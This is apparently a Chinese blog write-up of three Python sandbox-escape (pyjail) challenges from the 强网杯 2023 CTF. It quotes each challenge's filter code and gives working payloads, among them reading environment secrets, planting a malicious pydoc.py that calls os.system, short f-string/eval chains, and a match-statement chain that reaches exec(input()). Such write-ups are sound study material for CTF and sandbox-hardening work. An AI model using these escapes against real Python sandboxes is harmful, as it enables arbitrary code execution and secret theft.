这是橘子杀手的第 56 篇文章
题图摄于:济州岛 · 城山日出峰
上周的强网杯 2023 没准备参加,一个是去年帮忙打 ctf 打得实在是有点累了;第二个是上周末有其他比赛冲突了,所以也没时间看题。偶然在公众号推送上看到了强网杯的 wp 提到了有几道 python 题,还是忍不住来玩一玩。
不确定有没有遗漏,好像一共是三道 python 题目,并且都是 pyjail 类型的。自从上次我写了那篇《Python 沙箱逃逸的通解探索之路》之后,感觉很多同类题目都可以秒了,似乎一直都没有更极限的题目出现了,这次不妨一起来看看这次强网杯会不会让人眼前一亮呢。
题目代码如下:
import code, os, subprocess
import ptydef blacklist_fun_callback(*args):
print("Player! It's already banned!")
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")
blacklist_words = ['subprocess', 'os', 'code', 'interact', 'pty', 'pdb', 'platform', 'importlib', 'timeit', 'imp', 'commands', 'popen', 'load_module', 'spawn', 'system', '/bin/sh', '/bin/bash', 'flag', 'eval', 'exec', 'compile', 'input', 'vars', 'attr', 'dir', 'getattr', '__import__', '__builtins__', '__getattribute__', '__class__', '__base__', '__subclasses__', '__getitem__', '__self__', '__globals__', '__init__', '__name__', '__dict__', '._module', 'builtins', 'breakpoint', 'import']
def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True
while (
"{" in input_code and "}" in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65
):
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")
这道题常规的解法是比较简单的,一眼扫过去,基础 exp 的 open
不在过滤列表里,那当然是先尝试读一下当前目录、根目录、环境变量之类的看看有没有 flag 再说。至于回显嘛,由于我没实际在官方环境中测试,这个代码看起来像是可以直接 nc 过去做的,如果是这样的话,那利用报错或者是直接 print 结果其实都可以的。看了下网上的 wp,证明 flag 的确是在环境变量里,所以 exp 就是:{print(open("/proc/self/environ").read())}
。如果是在比赛的话,到这里就结束了,赶紧下一道吧。
但作为黑客,实现 RCE 是永远的诱惑。这道题莫非只能读文件么?
我们先来分析一下这里的限制条件:
(做的过程中发现出题人在写 blacklist_words
的时候,"getattr" "__import__",
之间漏了一个 ,
,这直接导致 blacklist_words 中没有 getattr
和 __import__
,不知道是不是故意的,不过这里我们就当这里有逗号好了。)
首先,由于 os.system
等内置模块的方法被劫持到 blacklist_fun_callback
了,所以即使我们 exp 中可以 import os
,拿到的 os.system
也依旧是 blacklist_fun_callback
,原因在于橘友们小学 5 年级就知道的 Python 模块导入的缓存机制。为了确保模块单例以及支持模块重用机制,在执行 import 的时候,如果模块是第一次导入,python 会在导入模块的同时把模块名称保存在 sys.modules
这个字典里;如果在导入模块的时候发现它已经在这个字典里了,就会直接返回 sys.modules
中模块对应的值。在这个缓存机制的影响下,题目中修改了众多内置模块的方法,比如 subprocess.Popen
,那就意味着后续所有代码中间接使用到的 subprocess.Popen
也会被劫持。例如,橘友们小学 5 年级就知道 help()
可以用来做 python 沙箱逃逸,原因是因为背后执行了 more
,在 more 里可以用 !
来执行任意命令,比如 !id
。但可能少为人知的是,help()
背后是 pydoc
,在 pydoc.py
中使用了 subprocess.Popen
或者 os.system
(win 平台)
如果要解决这个问题,最简单的方式就是删除 sys.modules
中的 subprocess
,然后重新 import 一次。
vars
等内置方法也被劫持到 blacklist_fun_callback
了。但这里与上面不同,这个修改并不会影响其他模块的 vars。因为 python 查找变量的顺序是 LEGB 法则,因此 vars 变量的顺序是先从本地命名空间开始,然后是包含它的模块的命名空间,最后是内置命名空间。由于其他模块中没有局部或模块级别的 vars 定义,所以它们内部会使用 __builtins__
中的原始 vars 函数。如果我们想对内置函数做与上面相同的劫持,应该使用 __builtins__.vars = blacklist_fun_callback
。
如果想在当前上下文中恢复这些内置函数,只需要清空 locals()
或者 globals()
即可(这里它们是一个东西,因为我们的 exp 是在模块层级上执行的,因此 locals()
和 globals()
是同一个字典),这样一来,python 按照 LEGB 法则就会找到 B 的 vars。
这些相对比较常规:
blacklist_words
的所有关键字eval
不能出现在 exp 里我们注意到代码中 eval(f"f'{input_code}'")
使用了两层 f-string,不但本身可以直接执行任意代码,也可以通过单引号来进行代码注入。这就意味着直接通过 {eval("1+1")}
来执行任意代码,但由于 blacklist_words 的限制,所以通常会想到用 Unicode 变量名,但是 while 里做了限制,此路不通;还有就是搞一个字符串出来做分隔,例如 f'{ev''al("1+1")}'
,但这也有新的问题,我们为了生成 eval,又加入了 f-string,而 f-string 中如果用到 {}
,则字符串必须是连续的,例如 f'{1*' + f'1}'
是会报错的。
加上其他条件的严格限制(尤其是长度和对方法进行劫持),常规沙箱逃逸的 payload 均宣告出局。同时,我也用之前写的自动化挖掘工具跑了一下,发现的确找不到:
到这里就应该换个思路了。
虽然我们没有办法直接 import,但是通过执行内置的一些函数可以实现间接执行 import。上面提到,help()
由于 subprocess.Popen
被劫持导致无法正常执行,其实这里我们也可以用这个思路,经过代码分析,在 python 的 /lib/python3.9/_sitebuiltins.py
中发现有 import pydoc
:
而 open 又不受限制,这就意味我们只需要在执行目录下创建一个 pydoc.py
,往里面写要执行的代码即可实现任意代码执行,也就意味着实现了 RCE:
# 首先创建文件并覆盖内容,第一批写入文件内容为
# __import__("importlib"
''{open("pydoc.py","w").write('__im''port__("im''portlib"')}''# 继续写入
# ).reload(__import__("os"
''{open("pydoc.py","a").write(').reload(__im''port__("o''s"')}''
# 继续写入
# )).system("whoami")
''{open("pydoc.py","a").write(')).sys''tem("whoami")')}''
pydoc.py
写入完毕之后,再次运行题目代码,只需要输入 {help()}
即可执行设定好的代码:
至此,我们实现了 RCE。至于 pydoc.py
内容怎么写,玩法就很多了,这里不展开了。
如果 open
也无法使用呢?
由于题目中使用了 while
,因此 eval 生成的值又会被赋给 input_code 重新参与 eval,那如果我们在第一轮循环中只要操作得当,就可以用一行输入来影响第二轮循环中 while 的判断,同时把最终 exp 传递给第二轮循环的 eval。
"{" in input_code and "}" in input_code
input_code.isascii()
my_filter(input_code)
"eval" not in input_code
len(input_code) < 650
我们先来分析一下:
.__contains__
)由于是由 Python 解释器在底层实现的,因此是不允许修改的。my_filter
、len
都可以覆盖,需要一个参数,并且返回值必须为 True所以,在第一轮的 exp 里我们需要把 globals()
清空,然后再把 my_filter
加上,最后利用题目中的 eval 来返回第二轮的 exp。那么问题来了,第二轮的 exp 应该是什么呢?
在第二轮的时候,经过第一轮的 eval,就只需要满足条件 1、2、4 即可,并且由于我们清空了 globals()
,导致内置函数都恢复了,可谓是一箭双雕。这样我们就可以用 exec(input())
来执行任意代码了。
由于第一轮 eval 必须返回字符串(主要是条件 2 的限制),所以我们可以用一个列表之类的东西来同时执行代码和返回需要的 exp(这个技巧其实之前也介绍过了):
'''
{
(
"{exec(input())}",
globals().clear(),
globals().update({"my_filter": id})
)[0]
}
'''{("{ex""ec(in""put())}",globals().clear(),globals().update({"my_filter":id}))[0]}
蛮吊蛮吊,但是长度太长了,81 个字符,距离 64 个字符还有点距离,因此我们尝试来缩短长度。
globals()
与 locals()
在这里是等价的,但后者少一个字符,换!"{ex""ec(in""put())}"
可以换成 {"{break""point()}"}
or
于是可以得到一个长度为 74、73 的 exp:
'''
{
locals().clear() or
locals().update({"my_filter": id}) or
"{break""point()}"
}
'''# len == 74
{locals().clear()or locals().update({"my_filter":id})or"{break""point()}"}
# len == 73
{",break""point()#{}",locals().clear(),locals().update({"my_filter":id})}
感觉这个长度已经是极限了。然后我突然意识到,出题人为了避免自身代码受到影响,并没有劫持所有高危的内置函数,比如 eval
,所以我又搞了个符合长度要求但是不满足条件的 exp:{["{ev""al(print(1))}",locals().update({"my_filter":id})][0]}
,因为第二轮 exp 中会出现 eval
,而出题人在 while
里特别关照了 eval
。那么还有哪些内置函数,出题人没有为了保障题目自身不出问题而没有劫持呢?答案就是 input()
。
在第二轮里我们可以通过 input 来引入额外的输入,输入的时候再引入 {}
,从而通过内层的 f-string 以及配合外层的 eval 进行代码执行。这样第二轮执行的原型为:
继续倒推回去第一轮,由于 input 没有被劫持,所以连 locals().clear()
也可以省略,因此 exp 长度就可以大幅缩减:
'''
{
(
"{input()}",
locals().update({"my_filter": id})
)[0]
}
'''{locals().update({"my_filter":id})or"{in""put()}"}
长度仅为 50!蛮吊蛮吊。
至此,我们不用写文件,也可以实现任意命令执行。
肉眼扫了下,好像和原来的没啥大区别。经过 diff 发现,作者修复了缺少逗号的问题:
但别的都没变。所以我猜测出题人这里可能对 flag 的位置做了调整,从环境变量中移动到其他未知文件名的文件去了。那这里还是要 rce 嘛,上面已经实现了,哈哈哈,所以这里就不再看了。
题目代码:
import astBAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance,
}
def is_safe(code):
if type(code) is str and "__" in code:
return False
for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
return False
return True
if __name__ == "__main__":
user_input = ""
while True:
line = input()
if line == "":
break
user_input += line
user_input += "\n"
if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})
老规矩先分析下限制:
"__"
不能出现在代码里BAD_ATS
exec
的第二个参数,将代码执行的 globals()
重置为只有个 __builtins__
,并将具体的内置方法指定为 BUILTINS
的值第一个条件有绕过的可能性,用 Unicode 字符 __
。第二个条件是无法正面绕过的,因为 ast 本身就是 python 执行过程中的中间产物,只能说看看有没有出题人没覆盖到的 ast 节点然后再利用;第三个条件,如果可以访问到非当前模块的命名空间,就可以拿到正常的内置方法了,但是必须的获取属性,或者用 Subscript 之类做替代,但这都被禁用了。。。
所以常规的沙箱逃逸 exp 可以说是都被堵死了。
翻阅了下官方文档:https://docs.python.org/zh-cn/3/library/ast.html
看起来除了 match 相关的语法之外,没有其他能用的东西了。但是这个是在 py3.10 中引入的,我不确定大家做题的时候出题人是否有提示所用的 python 版本,我这没有环境尝试所以也判断不了,这里权当出题人是这么出的吧。
根据 pep 里的示例 https://peps.python.org/pep-0636/#abstract
可以得知两个关键的知识点:
通过知识点 1,就可以获取参数了!比如 object.__subclasses__
就可以通过
match object:
case object(__subclasses__=a):
print(a)
来获取。以此类推,那这题就变成了常规的沙箱逃逸了。由于出题人限制了代码长度,因此我们可以用 dibber 来找一个比较短的继承链,比如:
那么对于 exp object.__subclasses__()[122].append.__globals__['__builtins__']
就可以变形为:
# object.__subclasses__()[122].append.__globals__['__builtins__']
match object:
case object(__subclasses__=a):
# a: object.__subclasses__
passmatch a():
case list(pop=p):
# p: object.__subclasses__().pop
pass
match p(int( str(len([[]]))+str(len(str(dict(oooooooooooooo=())))) )):
case object(append=m):
# m: object.__subclasses__()[122].append
pass
match m:
case object(__globals__=g):
# m: object.__subclasses__()[122].append.__globals__
pass
match g:
case object(__getitem__=p):
pass
match p(max(list(dict(__builtins__=())))):
case object(__getitem__=q):
# 本质上执行的是 exec(input())
q(max(list(dict(exec=()))))(q(max(list(dict(input=()))))(), p(max(list(dict(__builtins__=())))))
进而实现命令执行:
完结撒花,这三道题整体难度不算很高。
这应该是今年最后一篇文章了
时间过得真快!
提前祝橘友们元旦快乐嗷!